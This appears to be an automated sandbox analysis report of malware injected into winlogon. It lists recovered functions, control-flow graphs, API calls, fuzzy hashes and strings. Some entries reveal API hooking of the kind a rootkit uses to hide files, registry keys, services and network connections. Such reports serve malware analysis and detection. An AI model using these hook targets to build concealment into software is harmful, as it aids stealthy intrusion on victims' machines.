                                                                • Instruction Fuzzy Hash: B9311722219AC481EF30DB95E89935EE6A0F384784F900526F5CD467B9DF7ECB808B04
                                                                Function 000002D0165E328C Relevance: 4.5, APIs: 3, Instructions: 43threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
                                                                • String ID:
                                                                • API String ID: 1683269324-0
                                                                • Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                                                • Instruction ID: 9ff0edd3e6e9ab198c3d17986b58ccebaadaacc8bbb4bde1db76d12e6f3558f5
                                                                • Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
                                                                • Instruction Fuzzy Hash: 1C1161306147C182FF6097E1FDCDB69A298AB58345FD0512BE90E815F6EF7ACE44C210
                                                                Function 000002D0165E4DF0 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CacheCurrentFlushInstructionProcessProtectVirtual
                                                                • String ID:
                                                                • API String ID: 3733156554-0
                                                                • Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
                                                                • Instruction ID: d1e0e70aa0f07598b53ed8611aa5d9f6cf8e10010ed7fed8d00852c42d35725f
                                                                • Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
                                                                • Instruction Fuzzy Hash: FFF0BD26219B84C1DB30DB85E89575AABA0F3887D4F945117BACD47B79CA3ECA908B40
                                                                Function 000002D01658273C Relevance: 3.2, APIs: 2, Instructions: 187memorylibraryCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 265 2d01658273c-2d0165827a4 call 2d0165829d4 * 4 274 2d0165827aa-2d0165827ad 265->274 275 2d0165829b2 265->275 274->275 276 2d0165827b3-2d0165827b6 274->276 277 2d0165829b4-2d0165829d0 275->277 276->275 278 2d0165827bc-2d0165827bf 276->278 278->275 279 2d0165827c5-2d0165827e6 VirtualAlloc 278->279 279->275 280 2d0165827ec-2d01658280c 279->280 281 2d016582838-2d01658283f 280->281 282 2d01658280e-2d016582836 280->282 283 2d0165828df-2d0165828e6 281->283 284 2d016582845-2d016582852 281->284 282->281 282->282 285 2d0165828ec-2d016582901 283->285 286 2d016582992-2d0165829b0 283->286 284->283 287 2d016582858-2d01658286a LoadLibraryA 284->287 285->286 288 2d016582907 285->288 286->277 289 2d0165828ca-2d0165828d2 287->289 290 2d01658286c-2d016582878 287->290 293 2d01658290d-2d016582921 288->293 289->287 291 2d0165828d4-2d0165828d9 289->291 294 2d0165828c5-2d0165828c8 290->294 291->283 296 2d016582982-2d01658298c 293->296 297 2d016582923-2d016582934 293->297 294->289 295 2d01658287a-2d01658287d 294->295 301 2d01658287f-2d0165828a5 295->301 302 2d0165828a7-2d0165828b7 295->302 296->286 296->293 299 2d01658293f-2d016582943 297->299 300 2d016582936-2d01658293d 297->300 305 2d01658294d-2d016582951 299->305 306 2d016582945-2d01658294b 299->306 304 2d016582970-2d016582980 300->304 303 2d0165828ba-2d0165828c1 301->303 302->303 303->294 304->296 304->297 307 2d016582963-2d016582967 305->307 308 2d016582953-2d016582961 305->308 306->304 307->304 310 2d016582969-2d01658296c 307->310 308->304 310->304
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: AllocLibraryLoadVirtual
                                                                • String ID:
                                                                • API String ID: 3550616410-0
                                                                • Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                                                • Instruction ID: 0197585b0632c450f7244b768ee28b396eb2739c6a19c1b09bc8c1b93abfbced
                                                                • Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
                                                                • Instruction Fuzzy Hash: 01610532B016D087EB54CF56988872D7B9AF754BD4F98C122DE5D07B98DA34DC92C780
                                                                Function 000002D0165E1ABC Relevance: 3.1, APIs: 2, Instructions: 68sleepCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                  • Part of subcall function 000002D0165E1628: GetProcessHeap.KERNEL32 ref: 000002D0165E1633
                                                                  • Part of subcall function 000002D0165E1628: HeapAlloc.KERNEL32 ref: 000002D0165E1642
                                                                  • Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E16B2
                                                                  • Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E16DF
                                                                  • Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E16F9
                                                                  • Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1719
                                                                  • Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E1734
                                                                  • Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1754
                                                                  • Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E176F
                                                                  • Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E178F
                                                                  • Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E17AA
                                                                  • Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E17CA
                                                                • Sleep.KERNEL32 ref: 000002D0165E1AD7
                                                                • SleepEx.KERNEL32 ref: 000002D0165E1ADD
                                                                  • Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E17E5
                                                                  • Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1805
                                                                  • Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E1820
                                                                  • Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E1840
                                                                  • Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E185B
                                                                  • Part of subcall function 000002D0165E1628: RegOpenKeyExW.ADVAPI32 ref: 000002D0165E187B
                                                                  • Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E1896
                                                                  • Part of subcall function 000002D0165E1628: RegCloseKey.ADVAPI32 ref: 000002D0165E18A0
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CloseOpen$HeapSleep$AllocProcess
                                                                • String ID:
                                                                • API String ID: 1534210851-0
                                                                • Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                                                • Instruction ID: 07e4e4e3ba5978a263fb33c37be15a198cbe7b0fb120eabd57c8358f31885df7
                                                                • Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
                                                                • Instruction Fuzzy Hash: D331C061A006C141FF709BA6DEC93E9B3A9AB44BC6F8454279E0E8B7B5EE15CD51C210

                                                                Non-executed Functions

                                                                Function 000002D0165E2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 573 2d0165e2b2c-2d0165e2ba5 call 2d016602ce0 576 2d0165e2bab-2d0165e2bb1 573->576 577 2d0165e2ee0-2d0165e2f03 573->577 576->577 578 2d0165e2bb7-2d0165e2bba 576->578 578->577 579 2d0165e2bc0-2d0165e2bc3 578->579 579->577 580 2d0165e2bc9-2d0165e2bd9 GetModuleHandleA 579->580 581 2d0165e2bed 580->581 582 2d0165e2bdb-2d0165e2beb call 2d0165f6090 580->582 583 2d0165e2bf0-2d0165e2c0e 581->583 582->583 583->577 587 2d0165e2c14-2d0165e2c33 StrCmpNIW 583->587 587->577 588 2d0165e2c39-2d0165e2c3d 587->588 588->577 589 2d0165e2c43-2d0165e2c4d 588->589 589->577 590 2d0165e2c53-2d0165e2c5a 589->590 590->577 591 2d0165e2c60-2d0165e2c73 590->591 592 2d0165e2c75-2d0165e2c81 591->592 593 2d0165e2c83 591->593 594 2d0165e2c86-2d0165e2c8a 592->594 593->594 595 2d0165e2c8c-2d0165e2c98 594->595 596 2d0165e2c9a 594->596 597 2d0165e2c9d-2d0165e2ca7 595->597 596->597 598 2d0165e2d9d-2d0165e2da1 597->598 599 2d0165e2cad-2d0165e2cb0 597->599 600 2d0165e2da7-2d0165e2daa 598->600 601 2d0165e2ed2-2d0165e2eda 598->601 602 2d0165e2cc2-2d0165e2ccc 599->602 603 2d0165e2cb2-2d0165e2cbf call 2d0165e199c 599->603 607 2d0165e2dac-2d0165e2db8 call 2d0165e199c 600->607 608 2d0165e2dbb-2d0165e2dc5 600->608 601->577 601->591 605 2d0165e2cce-2d0165e2cdb 602->605 606 2d0165e2d00-2d0165e2d0a 602->606 603->602 605->606 610 2d0165e2cdd-2d0165e2cea 605->610 611 2d0165e2d0c-2d0165e2d19 606->611 612 2d0165e2d3a-2d0165e2d3d 606->612 607->608 614 2d0165e2dc7-2d0165e2dd4 608->614 615 2d0165e2df5-2d0165e2df8 608->615 619 2d0165e2ced-2d0165e2cf3 610->619 611->612 620 2d0165e2d1b-2d0165e2d28 611->620 621 2d0165e2d3f-2d0165e2d49 call 2d0165e1bbc 612->621 622 2d0165e2d4b-2d0165e2d58 lstrlenW 612->622 614->615 616 2d0165e2dd6-2d0165e2de3 614->616 617 2d0165e2dfa-2d0165e2e03 call 2d0165e1bbc 615->617 618 2d0165e2e05-2d0165e2e12 lstrlenW 615->618 624 2d0165e2de6-2d0165e2dec 616->624 617->618 635 2d0165e2e4a-2d0165e2e55 617->635 630 2d0165e2e14-2d0165e2e1e 618->630 631 2d0165e2e35-2d0165e2e3f call 2d0165e3844 618->631 628 2d0165e2cf9-2d0165e2cfe 619->628 629 2d0165e2d93-2d0165e2d98 619->629 632 2d0165e2d2b-2d0165e2d31 620->632 621->622 621->629 625 2d0165e2d5a-2d0165e2d64 622->625 626 2d0165e2d7b-2d0165e2d8d call 2d0165e3844 622->626 634 2d0165e2dee-2d0165e2df3 624->634 624->635 625->626 636 2d0165e2d66-2d0165e2d79 call 2d0165e152c 625->636 626->629 639 2d0165e2e42-2d0165e2e44 626->639 628->606 628->619 629->639 630->631 640 2d0165e2e20-2d0165e2e33 call 2d0165e152c 630->640 631->639 632->629 641 2d0165e2d33-2d0165e2d38 632->641 634->615 634->624 644 2d0165e2ecc-2d0165e2ed0 635->644 645 2d0165e2e57-2d0165e2e5b 635->645 636->626 636->629 639->601 639->635 640->631 640->635 641->612 641->632 644->601 650 2d0165e2e5d-2d0165e2e61 645->650 651 2d0165e2e63-2d0165e2e7d call 2d0165e85c0 645->651 650->651 654 2d0165e2e80-2d0165e2e83 650->654 651->654 657 2d0165e2ea6-2d0165e2ea9 654->657 658 2d0165e2e85-2d0165e2ea3 call 2d0165e85c0 654->658 657->644 660 2d0165e2eab-2d0165e2ec9 call 2d0165e85c0 657->660 658->657 660->644
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
                                                                • String ID: NtQueryObject$\Device\Nsi$ntdll.dll
                                                                • API String ID: 2119608203-3850299575
                                                                • Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                                                • Instruction ID: d3b596ab05dff9b38269f4f9cd95cbcd315625dbf01702ec5e409f4043454db4
                                                                • Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
                                                                • Instruction Fuzzy Hash: 40B18166210AD18AEF648FA5DD887A9B3A5FB44BC4F849017EE0D537A8DF36CE41C740
                                                                Function 000002D0165E7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
                                                                • String ID:
                                                                • API String ID: 3140674995-0
                                                                • Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                                                • Instruction ID: 20d5fac5d31b6f1b1b7ff7f3eed5433fc4695a7276fd3db9f08efe4689facb88
                                                                • Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
                                                                • Instruction Fuzzy Hash: 8A311C76205BC08AEB609FA0EC947ED7365F785744F84442ADA4E57BA8EF39CA48C710
                                                                Function 000002D0165ED2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                • String ID:
                                                                • API String ID: 1239891234-0
                                                                • Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                                                • Instruction ID: 3b7d1831335daaf51ebfd733c592f0e35ffd938c3d674718b742b5f189087fd6
                                                                • Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
                                                                • Instruction Fuzzy Hash: 09314036214FC086EB60CF65EC843AE73A4F789754F940226EA9D47BA5DF39CA55CB00
                                                                Function 000002D0165E7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                                                Download Yara Rule
                                                                APIs
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                                                • String ID:
                                                                • API String ID: 2933794660-0
                                                                • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                                                • Instruction ID: 9a0ea9a6380481f60f05ebf9f0f7dac1e0ce870ea14a63a246dffcc75113e077
                                                                • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                                                • Instruction Fuzzy Hash: 80113022714F5189EF00CFB0EC983A833A4F719758F840E26EA6D467A4DF78C5A88380
                                                                Function 000002D0165EDCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
                                                                • Instruction ID: a00ea222dca1409f8d46c6c733b36e0ca5c6caa6ab5bb61d15342de0a7c0de74
                                                                • Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
                                                                • Instruction Fuzzy Hash: 4851C6227107D089FF20DBB6AC8879EBBA5F744794F544216EE5C27BA5DB39CA41C700
                                                                Function 000002D0165936F0 Relevance: .0, Instructions: 32COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
                                                                • Instruction ID: 20f132576345f14cf9ccd990e033f4922525e3259efa89c4df88ccd33cc2d552
                                                                • Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
                                                                • Instruction Fuzzy Hash: 1EF0FFB16156A48EDBA88FA8B85771A77A1F3483C4FD4811AD68D83E14D63CC461CF04
                                                                Function 000002D0165F6218 Relevance: .0, Instructions: 20COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 301f1f65bb1fbd330af1318079875eba76c63322ed64614214bec7ea4255b521
                                                                • Instruction ID: 985df637057a876432ca5168b9158af0903bded641ed0023591ab73756eca6e2
                                                                • Opcode Fuzzy Hash: 301f1f65bb1fbd330af1318079875eba76c63322ed64614214bec7ea4255b521
                                                                • Instruction Fuzzy Hash: B8E0ED9BA4EAE01AF7A24AB44CBF34C2F90F366B20F89408FCB94432D3D1064D018726
                                                                Function 000002D0165E12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
                                                                • String ID: d
                                                                • API String ID: 2005889112-2564639436
                                                                • Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                                                • Instruction ID: e3e3399429e55960cf070cc16a5005b5190db7e605521ce6618ec048f68560e7
                                                                • Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
                                                                • Instruction Fuzzy Hash: BE517F76200B8486EB60CFA2E88879AB7A1F788FC9F844126DE4D07768DF3DC545CB10
                                                                Function 000002D0165E1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: CurrentThread$AddressHandleModuleProc
                                                                • String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
                                                                • API String ID: 4175298099-1975688563
                                                                • Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                                                • Instruction ID: 9dee3d71542fb905587bd6568b7d178f2fe6f5c2276b71c2ce632fa0ceebaf95
                                                                • Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
                                                                • Instruction Fuzzy Hash: B731C2A5500ACAA0EF50EFE5ECD97D4B324BB04385FC09563A42D02179AF79CF49C7A0
                                                                Function 000002D016586910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230COMMON
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                • Executed
                                                                • Not Executed
                                                                control_flow_graph 415 2d016586910-2d016586916 416 2d016586918-2d01658691b 415->416 417 2d016586951-2d01658695b 415->417 419 2d01658691d-2d016586920 416->419 420 2d016586945-2d016586984 call 2d016586fc0 416->420 418 2d016586a78-2d016586a8d 417->418 424 2d016586a9c-2d016586ab6 call 2d016586e54 418->424 425 2d016586a8f 418->425 422 2d016586938 __scrt_dllmain_crt_thread_attach 419->422 423 2d016586922-2d016586925 419->423 435 2d01658698a-2d01658699f call 2d016586e54 420->435 436 2d016586a52 420->436 431 2d01658693d-2d016586944 422->431 427 2d016586931-2d016586936 call 2d016586f04 423->427 428 2d016586927-2d016586930 423->428 438 2d016586ab8-2d016586aed call 2d016586f7c call 2d016586e1c call 2d016587318 call 2d016587130 call 2d016587154 call 2d016586fac 424->438 439 2d016586aef-2d016586b20 call 2d016587190 424->439 429 2d016586a91-2d016586a9b 425->429 427->431 448 2d016586a6a-2d016586a77 call 2d016587190 435->448 449 2d0165869a5-2d0165869b6 call 2d016586ec4 435->449 441 2d016586a54-2d016586a69 436->441 438->429 450 2d016586b31-2d016586b37 439->450 451 2d016586b22-2d016586b28 439->451 448->418 468 2d0165869b8-2d0165869dc call 2d0165872dc call 2d016586e0c call 2d016586e38 call 2d01658ac0c 449->468 469 2d016586a07-2d016586a11 call 2d016587130 449->469 453 2d016586b39-2d016586b43 450->453 454 2d016586b7e-2d016586b94 call 2d01658268c 450->454 451->450 452 2d016586b2a-2d016586b2c 451->452 458 2d016586c1f-2d016586c2c 452->458 459 2d016586b4f-2d016586b5d call 2d016595780 453->459 460 2d016586b45-2d016586b4d 453->460 476 2d016586bcc-2d016586bce 454->476 477 2d016586b96-2d016586b98 454->477 465 2d016586b63-2d016586b78 call 2d016586910 459->465 480 2d016586c15-2d016586c1d 459->480 460->465 465->454 465->480 468->469 518 2d0165869de-2d0165869e5 __scrt_dllmain_after_initialize_c 468->518 469->436 489 2d016586a13-2d016586a1f call 2d016587180 469->489 478 2d016586bd0-2d016586bd3 476->478 479 2d016586bd5-2d016586bea call 2d016586910 476->479 477->476 485 2d016586b9a-2d016586bbc call 2d01658268c call 2d016586a78 477->485 478->479 478->480 479->480 499 2d016586bec-2d016586bf6 479->499 480->458 485->476 510 2d016586bbe-2d016586bc6 call 2d016595780 485->510 507 2d016586a21-2d016586a2b call 2d016587098 489->507 508 2d016586a45-2d016586a50 489->508 504 2d016586bf8-2d016586bff 499->504 505 2d016586c01-2d016586c11 call 2d016595780 499->505 504->480 505->480 507->508 517 2d016586a2d-2d016586a3b 507->517 508->441 510->476 517->508 518->469 519 2d0165869e7-2d016586a04 call 2d01658abc8 518->519 519->469
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3427903093.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d016580000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
                                                                • String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
                                                                • API String ID: 190073905-1786718095
                                                                • Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction ID: dd7692e2b99b60a86f76d6b3ad3452ab25c272ff970cedf1c1e1e01c02871081
                                                                • Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
                                                                • Instruction Fuzzy Hash: 8B81B1616102E186FB50ABE7DCDD3592298EB85B88FD48027AA4D47FB7DB38CD458720
                                                                Function 000002D0165ECE28 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE
                                                                Download Yara Rule

                                                                Control-flow Graph

                                                                APIs
                                                                • GetLastError.KERNEL32 ref: 000002D0165ECE37
                                                                • FlsGetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECE4C
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECE6D
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECE9A
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECEAB
                                                                • FlsSetValue.KERNEL32(?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECEBC
                                                                • SetLastError.KERNEL32 ref: 000002D0165ECED7
                                                                • FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECF0D
                                                                • FlsSetValue.KERNEL32(?,?,00000001,000002D0165EECCC,?,?,?,?,000002D0165EBF9F,?,?,?,?,?,000002D0165E7AB0), ref: 000002D0165ECF2C
                                                                  • Part of subcall function 000002D0165ED6CC: HeapAlloc.KERNEL32 ref: 000002D0165ED721
                                                                • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECF54
                                                                  • Part of subcall function 000002D0165ED744: HeapFree.KERNEL32 ref: 000002D0165ED75A
                                                                  • Part of subcall function 000002D0165ED744: GetLastError.KERNEL32 ref: 000002D0165ED764
                                                                • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECF65
                                                                • FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002D0165F0A6B,?,?,?,000002D0165F045C,?,?,?,000002D0165EC84F), ref: 000002D0165ECF76
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_55_2_2d0165e0000_winlogon.jbxd
                                                                Similarity
                                                                • API ID: Value$ErrorLast$Heap$AllocFree
                                                                • String ID:
                                                                • API String ID: 570795689-0
                                                                • Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                                                • Instruction ID: 6cb119c879d4005e3e486556fd0f16809afcb4c169a1b85a080ac9ab7b906ee7
                                                                • Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
                                                                • Instruction Fuzzy Hash: D14162212016C546FF69A7F95DDE369E2425B447B0FD4472BB83E0A7F6DE2ACE418200
                                                                Function 000002D0165E2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON
                                                                Download Yara Rule
                                                                APIs
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000037.00000002.3428138552.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true
                                                                Joe Sandbox IDA Plugin
